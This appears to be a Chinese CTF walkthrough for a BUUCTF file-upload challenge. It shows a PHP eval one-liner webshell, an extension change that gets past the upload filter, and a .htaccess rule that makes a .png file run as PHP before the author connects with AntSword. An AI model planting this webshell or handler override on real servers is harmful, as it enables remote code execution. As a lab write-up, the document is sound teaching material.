当前位置: 首页 > news >正文

BUUCTF在线评测-练习场-WebCTF习题[MRCTF2020]你传你[特殊字符]呢1-flag获取、解析

解题思路

打开靶场,左边是艾克,右边是诗人,下面有个文件上传按钮 

结合题目,是一个文件上传漏洞,一键去世看源码可知是提交按钮,先上传个一句话木马.php试试

<?php
eval($_POST['shell']);
?>

被过滤了,更改文件后缀试试

 

上传成功,说明没有检测内容是否为图片,而是检测了后缀和类型,这里尝试更改其他绕过的后缀、如双写绕过、phtml绕过、php5等绕过都失败了,剩下解析漏洞是可以使用的。

创建.htaccess文件,该文件为解析文件,不可加前缀,必须是.htaccess,内容如下

<FilesMatch "eason.png">
SetHandler application/x-httpd-php
</FilesMatch>

将eason.png作为php文件来解析运行

然后将我们上传的一句话木马更改为eason.png

然后用蚁剑连接即可

 比较坑的一个点是路径问题

给的路径是从根目录下的绝对路径

/var/www/html/upload/2c12c739b42851d68808dcf58e8fa253/eason.png

因此我们这里应该使用相对路径,从upload开始才能连接成功哈 

http://e03373b4-086f-48bc-a53b-1146cd081dc1.node5.buuoj.cn:81/upload/2c12c739b42851d68808dcf58e8fa253/eason.png

最终在根目录下获取flag

总结

算是进阶的文件上传漏洞,通过上传解析文件,让webshell执行 

http://www.lqws.cn/news/579691.html

相关文章:

  • 攻防世界-MISC-red_green
  • 障碍感知 | 基于3D激光雷达的三维膨胀栅格地图构建(附ROS C++仿真)
  • macos 使用 vllm 启动模型
  • 【数据分析】环境数据降维与聚类分析教程:从PCA到可视化
  • OpenCV CUDA模块设备层----计算向量的平方根函数sqrt
  • 【机器人】复现 HOV-SG 机器人导航 | 分层 开放词汇 | 3D 场景图
  • 极海G32R501双向数字电源解决方案 赋能AI服务器及电源应用创新
  • Android中Compose常用组件以及布局使用方法
  • 深入解析TCP:可靠传输的核心机制与实现逻辑
  • 首次使用“非英伟达”芯片!OpenAI租用谷歌TPU,降低推理计算成本
  • 成像光谱遥感技术中的AI革命:ChatGPT在遥感领域中的应用
  • (LeetCode 每日一题) 594. 最长和谐子序列 (哈希表)
  • redis相关内容以及安全知识
  • 开疆智能CCLinkIE转Canopen网关连接UV紫外灯配置案例
  • python包管理工具uv VS pip
  • iOS 接口频繁请求导致流量激增?抓包分析定位与修复全流程
  • 人工智能和云计算对金融未来的影响
  • 力扣 hot100 Day30
  • 键盘第一下无反应
  • Armbian 25.5.1 Noble Gnome 开启远程桌面功能
  • CMake中WIN32和CMAKE_HOST_WIN32的使用差异
  • Pytest pytest_runtest_makereport 钩子函数:测试失败信息收集与处理 —— Python 实践
  • (5)pytest-yield操作
  • Python量化金融:从数据到策略的工程实现
  • Serverless 架构入门与实战:AWS Lambda、Azure Functions、Cloudflare Workers 对比
  • CH32H417 替代 Cypress FX3 及优势探讨
  • RF100:多领域目标检测基准数据集(猫脸码客第284期)
  • Ubuntu更换Home目录所在硬盘的过程
  • 多重性校正:临床试验统计的关键防线
  • 文心大模型正式开源,开启AI普惠新时代